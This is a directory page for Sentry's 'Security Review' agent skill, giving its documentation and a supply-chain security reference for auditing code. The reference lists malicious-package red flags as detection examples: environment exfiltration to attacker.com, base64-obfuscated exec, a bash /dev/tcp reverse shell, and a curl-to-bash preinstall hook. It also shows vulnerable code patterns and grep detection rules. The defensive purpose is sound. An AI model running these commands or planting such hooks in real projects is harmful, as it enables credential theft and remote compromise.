Generated banner for Security Review
Generated logo for Security Review

Security Review

SentryOfficialPublished by Sentry

  • Skill
  • Review and audit
  • Security
  • CC-BY-SA-4.0
  • Medium risk

From the author

Security code review for vulnerabilities. Use when asked to "security review", "find vulnerabilities", "check for security issues", "audit security", "OWASP review", or review code for injection, XSS, authentication, authorization, cryptography issues. Provides systematic review with confidence-based reporting.
— the description by Sentry

AutoGineer summary

Written by AutoGineer from the skill’s own files, not by the author

The Security Review skill provides a structured approach to auditing code for security vulnerabilities. It emphasizes deep research into data flow and context to distinguish between theoretical risks and truly exploitable issues. By focusing on attacker-controlled inputs and framework-specific mitigations, it reduces false positives and ensures that reported findings are actionable and high-confidence.

What it does

  • Performs systematic security audits on provided code snippets or files.
  • Traces data flow to confirm if inputs are attacker-controlled or server-controlled.
  • Evaluates code against common vulnerability patterns like injection, XSS, and authentication flaws.
  • Filters out false positives by checking for framework-level protections and sanitization.
  • Categorizes findings by severity and confidence levels.
  • Provides a standardized reporting format for identified vulnerabilities.

When to use it

  • When you need to audit code for potential security vulnerabilities.
  • When performing an OWASP-based security review.
  • When you need to verify if a specific code pattern is exploitable.
  • When checking for common security issues like SQL injection, XSS, or insecure authentication.

Advantages

  • Reduces noise by filtering out theoretical issues and server-controlled configurations.
  • Ensures high-confidence reporting by requiring codebase research before flagging.
  • Provides clear, actionable remediation advice for identified vulnerabilities.
  • Standardizes the security review process across different codebases.

Usage examples

“Perform a security review on this file: [code snippet]”
The agent will analyze the code, trace the data flow of inputs, and provide a report of any high-confidence vulnerabilities found, or state that none were identified.
“Check this API endpoint for potential injection vulnerabilities.”
The agent will examine the endpoint's input handling and database queries to determine if user input is properly parameterized or sanitized.
“Audit this authentication logic for security issues.”
The agent will review the authentication implementation against best practices, such as password storage algorithms and brute-force protections.

Install

  1. Download the skill as a ZIP:

    https://autogineer.com/agent-skills/getsentry/security-review/download
  2. Unzip it into the cross-client skills folder of your project:

    mkdir -p .agents/skills && unzip security-review.zip -d .agents/skills

Documentation by Sentry

<!-- Reference material based on OWASP Cheat Sheet Series (CC BY-SA 4.0) https://cheatsheetseries.owasp.org/ -->

Security Review Skill

Identify exploitable security vulnerabilities in code. Report only HIGH CONFIDENCE findings—clear vulnerable patterns with attacker-controlled input.

Scope: Research vs. Reporting

CRITICAL DISTINCTION:

  • Report on: Only the specific file, diff, or code provided by the user

  • Research: The ENTIRE codebase to build confidence before reporting

Before flagging any issue, you MUST research the codebase to understand:

  • Where does this input actually come from? (Trace data flow)

  • Is there validation/sanitization elsewhere?

  • How is this configured? (Check settings, config files, middleware)

  • What framework protections exist?

Do NOT report issues based solely on pattern matching. Investigate first, then report only what you're confident is exploitable.

Confidence Levels

LevelCriteriaAction
HIGHVulnerable pattern + attacker-controlled input confirmedReport with severity
MEDIUMVulnerable pattern, input source unclearNote as "Needs verification"
LOWTheoretical, best practice, defense-in-depthDo not report

Do Not Flag

General Rules
  • Test files (unless explicitly reviewing test security)

  • Dead code, commented code, documentation strings

  • Patterns using constants or server-controlled configuration

  • Code paths that require prior authentication to reach (note the auth requirement instead)

Server-Controlled Values (NOT Attacker-Controlled)

These are configured by operators, not controlled by attackers:

SourceExampleWhy It's Safe
Django settingssettings.API_URL, settings.ALLOWED_HOSTSSet via config/env at deployment
Environment variablesos.environ.get('DATABASE_URL')Deployment configuration
Config filesconfig.yaml, app.config['KEY']Server-side files
Framework constantsdjango.conf.settings.*Not user-modifiable
Hardcoded valuesBASE_URL = "https://api.internal"Compile-time constants

SSRF Example - NOT a vulnerability:

# SAFE: URL comes from Django settings (server-controlled)
response = requests.get(f"{settings.SEER_AUTOFIX_URL}{path}")

SSRF Example - IS a vulnerability:

# VULNERABLE: URL comes from request (attacker-controlled)
response = requests.get(request.GET.get('url'))
Framework-Mitigated Patterns

Check language guides before flagging. Common false positives:

PatternWhy It's Usually Safe
Django {{ variable }}Auto-escaped by default
React {variable}Auto-escaped by default
Vue {{ variable }}Auto-escaped by default
User.objects.filter(id=input)ORM parameterizes queries
cursor.execute("...%s", (input,))Parameterized query
innerHTML = "<b>Loading...</b>"Constant string, no user input

Only flag these when:

  • Django: {{ var|safe }}, {% autoescape off %}, mark_safe(user_input)

  • React: dangerouslySetInnerHTML={{__html: userInput}}

  • Vue: v-html="userInput"

  • ORM: .raw(), .extra(), RawSQL() with string interpolation

Review Process

1. Detect Context

What type of code am I reviewing?

Code TypeLoad These References
API endpoints, routesauthorization.md, authentication.md, injection.md
Django/DRF views, permission classes, object-level accessUse the django-access-review skill if available for access control; otherwise authorization.md
Frontend, templatesxss.md, csrf.md, modern-threats.md (DOM clobbering, prototype pollution)
File handling, uploadsfile-security.md
Crypto, secrets, tokenscryptography.md, data-protection.md
Data serializationdeserialization.md
External requestsssrf.md
Business workflowsbusiness-logic.md
GraphQL, REST designapi-security.md
Config, headers, CORSmisconfiguration.md
CI/CD, dependenciessupply-chain.md
Error handlingerror-handling.md
Audit, logginglogging.md
Object merging/cloning, __proto__, DOM id/name lookups, WebSocket handlers, LLM prompt constructionmodern-threats.md
2. Load Language Guide

Based on file extension or imports:

IndicatorsGuide
.py, django, flask, fastapilanguages/python.md
.js, .ts, express, react, vue, nextlanguages/javascript.md

For other languages there is no dedicated guide; rely on the references/ files and verify framework protections directly in the codebase.

3. Load Infrastructure Guide (if applicable)
File TypeGuide
Dockerfile, .dockerignoreinfrastructure/docker.md
GitHub Actions workflowsUse the gha-security-review skill if available; otherwise references/supply-chain.md
Other CI/CD pipelines, lockfiles, package manifestsreferences/supply-chain.md
4. Research Before Flagging

For each potential issue, research the codebase to build confidence:

  • Where does this value actually come from? Trace the data flow.

  • Is it configured at deployment (settings, env vars) or from user input?

  • Is there validation, sanitization, or allowlisting elsewhere?

  • What framework protections apply?

Only report issues where you have HIGH confidence after understanding the broader context.

5. Verify Exploitability

For each potential finding, confirm:

Is the input attacker-controlled?

Attacker-Controlled (Investigate)Server-Controlled (Usually Safe)
request.GET, request.POST, request.argssettings.X, app.config['X']
request.json, request.data, request.bodyos.environ.get('X')
request.headers (most headers)Hardcoded constants
request.cookies (unsigned)Internal service URLs from config
URL path segments: /users/<id>/Database content from admin/system
File uploads (content and names)Signed session data
Database content from other usersFramework settings
WebSocket messages

Does the framework mitigate this?

  • Check language guide for auto-escaping, parameterization

  • Check for middleware/decorators that sanitize

Is there validation upstream?

  • Input validation before this code

  • Sanitization libraries (DOMPurify, bleach, etc.)

6. Report HIGH Confidence Only

Skip theoretical issues. Report only what you've confirmed is exploitable after research.


Severity Classification

SeverityImpactExamples
CriticalDirect exploit, severe impact, no auth requiredRCE, SQL injection to data, auth bypass, hardcoded secrets
HighExploitable with conditions, significant impactStored XSS, SSRF to metadata, IDOR to sensitive data
MediumSpecific conditions required, moderate impactReflected XSS, CSRF on state-changing actions, path traversal
LowDefense-in-depth, minimal direct impactMissing headers, verbose errors, weak algorithms in non-critical context

Quick Patterns Reference

Always Flag (Critical)
eval(user_input)           # Any language
exec(user_input)           # Any language
pickle.loads(user_data)    # Python
yaml.load(user_data)       # Python (not safe_load)
unserialize($user_data)    # PHP
deserialize(user_data)     # Java ObjectInputStream
shell=True + user_input    # Python subprocess
child_process.exec(user)   # Node.js
Always Flag (High)
innerHTML = userInput              # DOM XSS
dangerouslySetInnerHTML={user}     # React XSS
v-html="userInput"                 # Vue XSS
f"SELECT * FROM x WHERE {user}"    # SQL injection
`SELECT * FROM x WHERE ${user}`    # SQL injection
os.system(f"cmd {user_input}")     # Command injection
Always Flag (Secrets)
password = "hardcoded"
api_key = "sk-..."
AWS_SECRET_ACCESS_KEY = "..."
private_key = "-----BEGIN"
Check Context First (MUST Investigate Before Flagging)
# SSRF - ONLY if URL is from user input, NOT from settings/config
requests.get(request.GET['url'])     # FLAG: User-controlled URL
requests.get(settings.API_URL)       # SAFE: Server-controlled config
requests.get(f"{settings.BASE}/{x}") # CHECK: Is 'x' user input?

# Path traversal - ONLY if path is from user input
open(request.GET['file'])            # FLAG: User-controlled path
open(settings.LOG_PATH)              # SAFE: Server-controlled config
open(f"{BASE_DIR}/{filename}")       # CHECK: Is 'filename' user input?

# Open redirect - ONLY if URL is from user input
redirect(request.GET['next'])        # FLAG: User-controlled redirect
redirect(settings.LOGIN_URL)         # SAFE: Server-controlled config

# Weak crypto - ONLY if used for security purposes
hashlib.md5(file_content)            # SAFE: File checksums, caching
hashlib.md5(password)                # FLAG: Password hashing
random.random()                      # SAFE: Non-security uses (UI, sampling)
random.random() for token            # FLAG: Security tokens need secrets module

Output Format

## Security Review: [File/Component Name]

### Summary
- **Findings**: X (Y Critical, Z High, ...)
- **Risk Level**: Critical/High/Medium/Low
- **Confidence**: High/Mixed

### Findings

#### [VULN-001] [Vulnerability Type] (Severity)
- **Location**: `file.py:123`
- **Confidence**: High
- **Issue**: [What the vulnerability is]
- **Impact**: [What an attacker could do]
- **Evidence**:
  ```python
  [Vulnerable code snippet]
  • Fix: [How to remediate]

Needs Verification
[VERIFY-001] [Potential Issue]
  • Location: file.py:456

  • Question: [What needs to be verified]


If no vulnerabilities found, state: "No high-confidence vulnerabilities identified."

---

## Reference Files

### Core Vulnerabilities (`references/`)
| File | Covers |
|------|--------|
| `injection.md` | SQL, NoSQL, OS command, LDAP, template injection |
| `xss.md` | Reflected, stored, DOM-based XSS |
| `authorization.md` | Authorization, IDOR, privilege escalation |
| `authentication.md` | Sessions, credentials, password storage |
| `cryptography.md` | Algorithms, key management, randomness |
| `deserialization.md` | Pickle, YAML, Java, PHP deserialization |
| `file-security.md` | Path traversal, uploads, XXE |
| `ssrf.md` | Server-side request forgery |
| `csrf.md` | Cross-site request forgery |
| `data-protection.md` | Secrets exposure, PII, logging |
| `api-security.md` | REST, GraphQL, mass assignment |
| `business-logic.md` | Race conditions, workflow bypass |
| `modern-threats.md` | Prototype pollution, LLM injection, WebSocket |
| `misconfiguration.md` | Headers, CORS, debug mode, defaults |
| `error-handling.md` | Fail-open, information disclosure |
| `supply-chain.md` | Dependencies, build security |
| `logging.md` | Audit failures, log injection |

### Language Guides (`languages/`)
- `python.md` - Django, Flask, FastAPI patterns
- `javascript.md` - Node, Express, React, Vue, Next.js

### Infrastructure (`infrastructure/`)
- `docker.md` - Container security

Files

references/supply-chain.md

Supply Chain Security Reference

Overview

Supply chain vulnerabilities occur when attackers compromise dependencies, build systems, or distribution mechanisms. This includes vulnerable dependencies, dependency confusion attacks, compromised build pipelines, and malicious packages.


Vulnerable Dependencies

Detection Patterns
# Check for known vulnerabilities
npm audit
pip-audit
cargo audit
bundle audit
safety check

# Check for outdated packages
npm outdated
pip list --outdated
Lock Files
# VULNERABLE: No lock file - versions float
# requirements.txt
requests>=2.0

# SAFE: Pinned versions with lock file
# requirements.txt
requests==2.28.1

# Or using pip-tools
# requirements.in -> requirements.txt (generated, pinned)
Patterns to Flag
// VULNERABLE: No lock file committed
// Missing: package-lock.json, yarn.lock, Pipfile.lock, Cargo.lock, go.sum

// VULNERABLE: Lock file in .gitignore
// .gitignore
package-lock.json
yarn.lock

// VULNERABLE: Version ranges that could change
// package.json
{
  "dependencies": {
    "lodash": "^4.0.0",    // Could get 4.999.0
    "express": "*",         // Any version
    "left-pad": "latest"    // Always latest
  }
}

Dependency Confusion

Attack Vector

Attackers publish malicious packages with the same name as internal packages to public registries. When build systems check public registries first, they may install the malicious version.

Vulnerable Configurations
# VULNERABLE: pip checks PyPI before internal registry
# pip.conf with both sources but no priority
[global]
index-url = https://pypi.org/simple
extra-index-url = https://internal.company.com/pypi

# VULNERABLE: npm checks public registry
# .npmrc
registry=https://registry.npmjs.org
@company:registry=https://npm.company.com
# Public package "company-utils" could shadow internal one
Mitigations
# SAFE: Internal registry only for scoped packages
# .npmrc
@company:registry=https://npm.company.com
//npm.company.com/:_authToken=${NPM_TOKEN}

# SAFE: pip with explicit index for each package
# requirements.txt with --index-url per package
--index-url https://internal.company.com/pypi
internal-package==1.0.0
--index-url https://pypi.org/simple
requests==2.28.1
// SAFE: npm package name claiming (publish placeholder to public)
// Publish empty package to npmjs.org with same name as internal packages
{
  "name": "internal-company-package",
  "version": "0.0.0",
  "description": "This package name is reserved"
}

Typosquatting

Detection
# VULNERABLE: Misspelled package names
# requirements.txt
reqeusts==2.28.0    # Typo of 'requests'
djando==4.0.0       # Typo of 'django'
python-nmap         # Could be confused with nmap

# package.json
"lodahs": "4.0.0"   # Typo of 'lodash'
"electorn": "1.0.0" # Typo of 'electron'
Common Typosquatting Patterns
  • Character omission: requests → reqests

  • Character swap: django → djagno

  • Character doubling: numpy → numppy

  • Homoglyphs: requests → rеquests (Cyrillic е)

  • Adding suffixes: requests-dev, requests-py


Build Pipeline Security

Insecure CI/CD Patterns
# VULNERABLE: Secrets in plain text
# .github/workflows/build.yml
env:
  AWS_SECRET_KEY: AKIAIOSFODNN7EXAMPLE

# VULNERABLE: Running arbitrary code from PRs
on:
  pull_request_target:
    types: [opened]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Runs untrusted code
      - run: npm install && npm test

# VULNERABLE: Using unpinned actions
steps:
  - uses: actions/checkout@main  # Could change maliciously
  - uses: some-action@latest
Secure CI/CD Configuration
# SAFE: Pinned action versions with hash
steps:
  - uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab  # v3.5.2

# SAFE: Secrets from secure storage
env:
  AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}

# SAFE: Separate workflow for untrusted PRs
on:
  pull_request:  # Not pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read  # Minimal permissions

Package Integrity

Verify Checksums
# SAFE: Verify package checksums
pip install --require-hashes -r requirements.txt

# requirements.txt with hashes
requests==2.28.1 \
    --hash=sha256:7c5599b102feddaa661c826c56ab4fee28bfd17f5abca1ebbe3e7f19d7c97983

# npm with integrity
npm ci  # Uses package-lock.json with integrity hashes
Signature Verification
# Verify GPG signatures
gpg --verify package.tar.gz.sig package.tar.gz

# Go module checksums
# go.sum contains cryptographic checksums
go mod verify

Malicious Package Indicators

Suspicious Patterns in Packages
# RED FLAGS in package code:

# Network calls during install
# setup.py
import requests
requests.post('https://attacker.com/data', data=os.environ)

# Obfuscated code
exec(base64.b64decode('aW1wb3J0IG9z...'))
eval(compile(base64.b64decode(code), '<string>', 'exec'))

# Environment variable exfiltration
os.environ.get('AWS_SECRET_ACCESS_KEY')
subprocess.run(['env'])

# Reverse shells
socket.socket().connect(('attacker.com', 4444))
os.system('bash -i >& /dev/tcp/attacker.com/4444 0>&1')

# Cryptocurrency miners
import hashlib
while True:
    hashlib.sha256(data).hexdigest()
Pre/Post Install Scripts
// package.json - check these scripts carefully
{
  "scripts": {
    "preinstall": "curl https://attacker.com/script.sh | bash",  // DANGEROUS
    "postinstall": "node ./malicious.js",  // CHECK THIS
    "prepare": "..."
  }
}
# setup.py - check for code execution during install
from setuptools import setup
from setuptools.command.install import install

class PostInstall(install):
    def run(self):
        install.run(self)
        # CHECK WHAT RUNS HERE
        os.system('whoami')  # DANGEROUS

setup(
    cmdclass={'install': PostInstall}
)

Private Registry Security

Misconfiguration
# VULNERABLE: Registry credentials in code
# .npmrc committed to repo
//registry.npmjs.org/:_authToken=npm_XXXX

# VULNERABLE: Unauthenticated internal registry
registry=http://internal-npm.company.com  # No auth, HTTP

# VULNERABLE: Pull from any registry
pip install package  # Will check PyPI even for internal names
Secure Configuration
# SAFE: Credentials from environment
# .npmrc
//registry.npmjs.org/:_authToken=${NPM_TOKEN}

# SAFE: Scoped to specific registries
@company:registry=https://npm.company.com
//npm.company.com/:_authToken=${INTERNAL_NPM_TOKEN}

# SAFE: Internal registry only mode for sensitive builds
# pip.conf
[global]
index-url = https://internal.company.com/pypi
# No extra-index-url to public registries

Vendoring Dependencies

When to Vendor
# Consider vendoring for:
# - Critical security applications
# - Air-gapped environments
# - Reproducible builds

# Go vendoring
go mod vendor
# Commit vendor/ directory

# Python vendoring
pip download -r requirements.txt -d ./vendor/
# Install from local: pip install --no-index --find-links=./vendor/ -r requirements.txt

SBOM (Software Bill of Materials)

Generation
# Generate SBOM for vulnerability tracking
# CycloneDX format
cyclonedx-py --format json -o sbom.json

# SPDX format
syft . -o spdx-json > sbom.spdx.json

# npm
npm sbom --sbom-format cyclonedx

Grep Patterns for Detection

# Unpinned dependencies
grep -rn "\*\|latest\|>=\|~\|^" package.json requirements.txt

# Missing lock files
ls package-lock.json yarn.lock Pipfile.lock Cargo.lock go.sum 2>/dev/null

# Credentials in config
grep -rn "_authToken\|registry.*token\|password" .npmrc .pypirc pip.conf

# Suspicious install scripts
grep -rn "preinstall\|postinstall\|prepare" package.json

# Obfuscated code in dependencies
grep -rn "eval(.*base64\|exec(.*decode\|compile(.*decode" node_modules/ site-packages/

# Network calls in setup.py
grep -rn "requests\|urllib\|socket" setup.py

# Unpinned GitHub Actions
grep -rn "uses:.*@main\|uses:.*@master\|uses:.*@latest" .github/workflows/

Testing Checklist

  • [ ] All dependencies pinned to exact versions

  • [ ] Lock files committed and not in .gitignore

  • [ ] Dependencies scanned for known vulnerabilities

  • [ ] Internal packages use scoped names or claimed on public registries

  • [ ] CI/CD actions pinned to commit hashes

  • [ ] Secrets not hardcoded in CI/CD configs

  • [ ] Package integrity verified (checksums/signatures)

  • [ ] Pre/post install scripts reviewed

  • [ ] Private registry credentials not in code

  • [ ] SBOM generated for production dependencies


References

Requirements and compatibility

Works with: Claude Code, Claude apps, OpenAI Codex, GitHub Copilot, Cursor, Gemini CLI, Kiro, OpenCode, Goose, Amp, Roo Code, JetBrains Junie, Factory Droid, Devin (ex-Windsurf), Mistral Vibe, OpenHands, Letta

“Works with” means the tool reads the open Agent Skills format; a skill written for one tool may use features others lack.

Needs: Declares allowed tools, Needs an API key, Needs Python

Security

What our scanner noticed· Medium risk

  • References to credential files
  • Instructions that use the network
  • Encoded commands that are executed
  • Downloads piped into a shell

A static scan is not a guarantee. Skills are third-party content: review a skill before you let an agent use it.

Attribution and licence

Published by
Sentry
Publisher
Sentry (Official)
Source
getsentry/skills · skills/security-review · commit e94f222
Licence
Creative Commons Attribution-ShareAlike 4.0 International (redistribution allowed)
  • ATTRIBUTION.md (written by AutoGineer)
Synced

AutoGineer is not affiliated with or endorsed by Sentry or Sentry.

Download ZIP

The ZIP holds the skill’s files, its licence files and an ATTRIBUTION.md. Download security-review.zip